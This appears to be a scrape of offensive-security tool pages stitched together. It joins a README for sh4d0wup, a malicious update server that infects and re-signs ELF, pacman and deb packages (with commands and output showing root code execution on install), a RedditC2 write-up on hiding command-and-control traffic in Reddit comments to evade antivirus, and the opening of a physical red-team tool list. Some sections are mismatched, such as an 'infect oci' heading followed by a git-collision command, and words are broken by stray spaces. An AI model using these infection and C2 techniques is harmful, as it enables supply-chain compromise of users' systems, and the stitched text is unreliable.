Have you ever wondered if the update you downloaded is the same one everybody else gets or did you get a different one that was made just for you? Shadow updates are updates that officially don't exist but carry valid signatures and would get accepted by clients as genuine. This may happen if the signing key is compromised by hackers or if a release engineer with legitimate access turns grimy.

sh4d0wup is a malicious http/https update server that acts as a reverse proxy in front of a legitimate server and can infect + sign various artifact formats. Attacks are configured in plots that describe how http request routing works, how artifacts are patched/generated, how they should be signed and with which key. A route can have selectors so it matches only if eg. the user-agent matches a pattern or if the client is connecting from a specific ip address. For development and testing, mock signing keys/certificates can be generated and marked as trusted.

Compile a plot

Some plots are more complex to run than others, to avoid long startup time due to downloads and artifact patching, you can build a plot in advance. This also allows to create signatures in advance.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

Run a plot

This spawns a malicious http update server according to the plot. This also accepts yaml files but they may take longer to start.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

You can find examples here:

• contrib/plot-archlinux.yaml
• contrib/plot-debian.yaml
• contrib/plot-rustup.yaml
• contrib/plot-curl-sh.yaml

Infect an artifact

• sh4d0wup infect elf
• sh4d0wup infect pacman
• sh4d0wup infect deb
• sh4d0wup infect oci

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Intera   ct with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflic   ts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: de   laying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

git show 777754fde8...
git branch some-name 777754fde8...

RedditC2 - Abusing Reddit API To Host The C2 Traffic, Since Most Of The Blue-Team Members Use Reddit, It Might Be A Great Way To Make The Traffic Look Legit



[Disclaimer]: Use of this project is for Educational/ Testing purposes only. Using it on unauthorised machines is strictly forbidden. If somebody is found to use it for illegal/ malicious intent, author of the repo will not be held responsible.

Requirements

Install PRAW library in python3:

pip3 install praw

Quickstart

See the Quickstart guide on how to get going right away!

Demo

Workflow

Teamserver

1. Go to the specific Reddit Post & post a new comment with the command ("in: ")
2. Read for new comment which includes the word "out:"
3. If no such comment is found, go back to step 2
4. Parse the comment, decrypt it and read it's output
5. Edit the existing comment to "executed", to avoid reexecuting it

Client

1. Go to the specific Reddit Post & read the latest comment which includes "in:"
2. If no new comment is detected, go back to step 1
3. Parse the command out of the comment, decrypt it and execute it locally
4. Encrypt the command's output and reply it to the respective comment ("out:" )

Below is a demonstration of the XOR-encrypted C2 traffic for understanding purposes:

Scanning results

Since it is a custom C2 Implant, it doesn't get detected by any AV as the bevahiour is completely legit.

TO-DO

• Teamserver and agent compatible in Windows/Linux
• Make the traffic encrypted
• Add upload/download feature
• Add persistence feature
• Generate the agents dynamically (from the TeamServer)
• Tab autocompletion

Credits

Special thanks to @T4TCH3R for working with me and contributing to this project.

RedTeam-Physical-Tools - Red Team Toolkit - A Curated List Of Tools That Are Commonly Used In The Field For Physical Security, Red Teaming, And Tactical Covert Entry

***The links of the products may change with time, if so, just ping me on twitter so I can update them. None of the links are affiliated or sponsored. Also, I have personally purchased almost every single item from this list out of my own pocket based on needs for engagements. If there are any other items that are not on this list and you believe they should be, feel free to DM or ping me on twitter (@DavidProbinsky) and I can add them.***

Commonly used tools for Red Teaming Engagements, Physical Security Assessments, and Tactical Covert Entry.

In this list I decided to share most of the tools I utilize in authorized engagements, including where to find some of them, and in some cases I will also include some other alternative tools. I am not providing information on how to use these tools, since this information can be found online with some research. My goal with this list is to help fellow Red Teamers with a 'checklist', for whenever they might be missing a tool, and use this list as a reference for any engagement. Stay safe and legal!!